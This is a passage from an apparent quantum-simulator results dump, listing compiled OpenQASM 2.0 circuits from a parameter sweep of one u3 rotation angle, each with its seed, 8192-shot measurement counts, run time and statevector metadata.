q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1215', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1131597819, 'status': 'DONE', 'data': {'counts': {'0x3': 2080, '0x1': 21, '0x0': 3939, '0x2': 2152}}, 'success': True, 'shots': 8192, 'time_taken': 0.476231061, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1217', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3642846410, 'status': 'DONE', 'data': {'counts': {'0x3': 2029, '0x1': 2, '0x0': 4101, '0x2': 2060}}, 'success': True, 'shots': 8192, 'time_taken': 0.47532831700000006, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1219', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 193472778, 'status': 'DONE', 'data': {'counts': {'0x3': 2047, '0x1': 3, '0x0': 4120, '0x2': 2022}}, 'success': True, 'shots': 8192, 'time_taken': 0.44776315000000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1221', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2783917915, 'status': 'DONE', 'data': {'counts': {'0x3': 2027, '0x1': 6, '0x0': 4040, '0x2': 2119}}, 'success': True, 'shots': 8192, 'time_taken': 0.44223071100000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1223', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3229432871, 'status': 'DONE', 'data': {'counts': {'0x3': 2024, '0x1': 25, '0x0': 4051, '0x2': 2092}}, 'success': True, 'shots': 8192, 'time_taken': 0.435585918, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1225', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1466982531, 'status': 'DONE', 'data': {'counts': {'0x3': 2005, '0x1': 41, '0x0': 4061, '0x2': 2085}}, 'success': True, 'shots': 8192, 'time_taken': 0.43853284000000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1227', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 408969758, 'status': 'DONE', 'data': {'counts': {'0x3': 1895, '0x1': 103, '0x0': 4043, '0x2': 2151}}, 'success': True, 'shots': 8192, 'time_taken': 0.442975697, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1229', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 289707535, 'status': 'DONE', 'data': {'counts': {'0x3': 1930, '0x1': 140, '0x0': 3889, '0x2': 2233}}, 'success': True, 'shots': 8192, 'time_taken': 0.441204739, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1231', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2429258221, 'status': 'DONE', 'data': {'counts': {'0x3': 1868, '0x1': 216, '0x0': 3836, '0x2': 2272}}, 'success': True, 'shots': 8192, 'time_taken': 0.440369948, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1233', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3962264607, 'status': 'DONE', 'data': {'counts': {'0x3': 1813, '0x1': 273, '0x0': 3792, '0x2': 2314}}, 'success': True, 'shots': 8192, 'time_taken': 0.44103382300000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1235', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 645436470, 'status': 'DONE', 'data': {'counts': {'0x3': 1653, '0x1': 350, '0x0': 3825, '0x2': 2364}}, 'success': True, 'shots': 8192, 'time_taken': 0.444235443, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1237', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1752577543, 'status': 'DONE', 'data': {'counts': {'0x3': 1625, '0x1': 385, '0x0': 3719, '0x2': 2463}}, 'success': True, 'shots': 8192, 'time_taken': 0.441639219, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1239', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2383434823, 'status': 'DONE', 'data': {'counts': {'0x3': 1528, '0x1': 502, '0x0': 3644, '0x2': 2518}}, 'success': True, 'shots': 8192, 'time_taken': 0.43974835, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 